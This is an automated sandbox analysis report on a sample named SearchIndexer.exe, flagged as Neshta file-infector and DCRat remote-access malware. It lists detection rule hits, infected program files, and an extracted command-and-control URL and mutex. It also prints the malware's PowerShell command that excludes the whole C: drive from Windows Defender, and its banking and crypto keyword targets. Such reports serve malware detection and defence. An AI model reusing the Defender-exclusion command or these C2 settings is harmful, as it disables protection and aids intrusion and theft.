                              Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , CommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , CommandLine|base64offset|contains: , Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , ProcessId: 7320, ProcessName: svchost.com
                              Sigma detected: Dynamic CSharp Compile Artefact
                              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ProcessId: 3168, TargetFilename: C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline
                              Sigma detected: Non Interactive PowerShell Process Spawned
                              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 4548, ProcessName: powershell.exe
                              Sigma detected: Windows Processes Suspicious Parent Directory
                              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 9036, ProcessName: svchost.exe

                              Data Obfuscation

                              barindex
                              Sigma detected: Dot net compiler compiles file from suspicious location
                              Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", ProcessId: 4320, ProcessName: csc.exe

                              Suricata Signatures

                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2025-01-13T13:10:50.334984+010020480951A Network Trojan was detected192.168.2.44973637.44.238.25080TCP

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus / Scanner detection for submitted sample
                              Source: SearchIndexer.exeAvira: detected
                              Antivirus detection for dropped file
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Uninstall.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Au3Check.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeAvira: detection malicious, Label: W32/Neshta.A
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeAvira: detection malicious, Label: W32/Neshta.A
                              Found malware configuration
                              Source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: DCRat {"C2 url": "http://519600cl.nyashtop.top/authDatalifeCdnTemporary", "MUTEX": "DCR_MUTEX-QVgodjXaIbAcRVoIzEKD", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}
                              Multi AV Scanner detection for dropped file
                              Source: C:\Program Files (x86)\AutoIt3\Au3Check.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeReversingLabs: Detection: 97%
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\AutoIt3\Uninstall.exeReversingLabs: Detection: 94%
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXEReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXEReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXEReversingLabs: Detection: 100%
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exeReversingLabs: Detection: 100%
                              Multi AV Scanner detection for submitted file
                              Source: SearchIndexer.exeVirustotal: Detection: 88%Perma Link
                              Source: SearchIndexer.exeReversingLabs: Detection: 100%
                              AI detected suspicious sample
                              Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.4% probability
                              Machine Learning detection for dropped file
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Uninstall.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Au3Check.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeJoe Sandbox ML: detected
                              Machine Learning detection for sample
                              Source: SearchIndexer.exeJoe Sandbox ML: detected
                              Sample uses string decryption to hide its real strings
                              Source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmpString decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Smart","_1":"False","_2":"False","_3":"False"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"System drive"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"}}
                              Source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmpString decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-QVgodjXaIbAcRVoIzEKD","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
                              Source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmpString decryptor: [["http://519600cl.nyashtop.top/","authDatalifeCdnTemporary"]]
                              Source: SearchIndexer.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDirectory created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDirectory created: C:\Program Files\Windows Photo Viewer\9e8d7a4ca61bd9Jump to behavior
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
                              Source: Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
                              Source: Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
                              Source: Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
                              Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
                              Source: Binary string: r.pdb source: AppSharingHookController.exe.0.dr
                              Source: Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
                              Source: Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
                              Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
                              Source: Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
                              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.pdb source: SearchIndexer.exe, 00000001.00000002.1913109715.0000000003888000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
                              Source: Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
                              Source: Binary string: lper.pdb source: SDXHelper.exe.0.dr
                              Source: Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr

                              Spreading

                              barindex
                              Yara detected Neshta
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 6636, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: svchost.com PID: 9192, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Windows\svchost.com, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
